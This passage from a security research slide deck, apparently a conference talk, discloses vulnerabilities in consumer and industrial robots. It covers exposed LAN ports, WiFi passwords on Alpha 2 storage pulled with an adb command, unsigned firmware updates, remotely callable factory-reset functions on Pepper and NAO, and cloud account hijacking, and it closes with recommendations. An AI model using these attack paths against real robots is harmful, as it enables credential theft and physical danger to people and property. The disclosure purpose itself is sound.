  • 38. Physical Attacks - Attacking Connectivity 3 8 Baxter and Sawyer expose their LAN ports on the pedestal. Port allow to access robot network services or add Modbus TCP capabilities.
  • 39. Physical Attacks - Attacking Connectivity 3 9 Universal Robots Controller supports wireless mouse/keyboards on their USB interface.
  • 40. Physical Attacks - Attacking Connectivity 4 0 Pepper and NAO heads plastic lid can be easily removed to access the LAN port. Port allows to access robot network services
  • 41. Physical Attacks - Insecure Storage 4 1 ●  Removable storage ○  Alpha 2 saves robot actions and WiFi passwords generic:/sdcard/ubtech/temp/image # ls -lha -rw-rw---- 1 root sdcard_rw 10K 2016-11-02 01:10 -943417681 <--- QR code drwxrwx--x 2 root sdcard_rw 4.0K 2016-11-02 01:21 . drwxrwx--x 3 root sdcard_rw 4.0K 2016-11-02 00:40 .. -rw-rw---- 1 root sdcard_rw 49 2016-11-02 01:21 819289450 <--- QR code $platform-tools/adb pull /sdcard/ubtech/temp/image/-943417681
  • 42. One hack to rule them all 4 2 ●  Vendor clouds can be attacked ○  Where vendors can control your robot or push applications ○  Massive KURATAS robots army ! Web Controller sends pairing key to vendor
  • 43. Killing Robots 4 3 private void startSendBin() { ((AlphaApplication)this.mContext.getApplicationContext()). getBlueToothManager().addBlueToothInteraction(this.mSe ndListener); [..........] ((AlphaApplication)this.mContext.getApplicationContext()). getBlueToothManager().sendCommand(((AlphaApplication )this.mContext.getApplicationContext()).getCurrentBluetoot h().getAddress(), (byte)20, arrayOfByte, arrayOfByte.length, true); } } ●  Remote robot kill (all from UBTech / SoftBank) ○  Malicious firmware upgrades. File integrity not verified. ○  Over-the-air upgrades (Bluetooth/WiFi) ○  Undocumented functions ! ○  Return to factory? Factory reset? $$$$ Alpha remote kill Pepper/NAO's ALSystem module exports factoryReset and upgrade (Arguments: imageUrl, checksum which can be null) which can be called remotely
  • 44. Cloud Services - Account Hijacking 4 4 ●  Cloud services control robots ○  Trigger updates, install/remove apps ○  Contact customer support, get firmware images ○  Bind/unbind cloud accounts to robot
  • 45. Unsigned Updates 4 5 ●  No firmware/apps integrity ○  Unsigned Firmware Images in ROBOTIS-OP2 ○  Updates with Unsigned APKs in UBTech Alpha (Robot & apps) ○  Null checksum in SoftBank's NAO/Pepper printf("nDownloading Bytesum:%2Xn", bytesum); ... /*--- end download ---*/ r = write(fd, "go 8023000", 10); r = write(fd, "r", 1); int wait_count = 0; char last_char = 0; while(1) { if(kbhit()) { TxCh = _getch(); if(TxCh == 0x1b) break; else if(TxCh == 127) // backspace TxCh = 0x08; // replace backspace value r = write(fd, &TxCh, 1); ← writes directly } Alpha app update ROBOTIS OP2 RoboPlus
  • 46. Security Problems in Today’s Robots ●  What we found ○  Insecure Communications ○  Memory Corruption Issues ○  Remote code execution vulns ○  File Integrity Issues ○  Authentication Issues ○  Missing Authorization ○  Weak Cryptography ○  Firmware update/upgrade problems ○  Privacy Issues ○  Undocumented features (also vulnerable to RCE, etc) ○  Weak Default Configuration (SSH Secret sharing, Passwords) ○  Vulnerable Open Source Robot Frameworks and Libraries 4 6
  • 47. Consequences of a Hacked Robot ●  In the home ○  Privacy issues, human and property damage ●  Businesses & Industry ○  Espionage, human and property damage, corporate/ business network compromise ●  Healthcare & Militar ○  Direct human threats 4 7
  • 48. Vendor Responses “I think the findings are very interesting. It is something we should do something about :-)” (No fixes yet) “Every thing will be fixed in the next release”… 3 months later… “It can’t be fixed” . (No fixes yet) “Thanks! Got it!” ”We encourage developers to code responsibly and we discourage inappropriate robot behavior!” 4 8 (No fi(No fixes yet) xes yet)
  • 49. Improving World’s Robot Security ●  Security from Day One ●  Factory Restore ●  Secure the Supply Chain ●  Secure by Default ●  Education ●  Vulnerability Disclosure Response ●  Invest less in marketing and more in cyber security!!!! 4 9
  • 50. Conclusions ●  Robots are awesome ●  Robots are insecure ●  Human safety protections can be disabled ○  Currents robots can’t provide enough safety ●  Robots can kill and hurt people, also damage property ●  Research projects moved into production without adding security ●  Marketing is winning ●  We need to fix this ASAP 5 0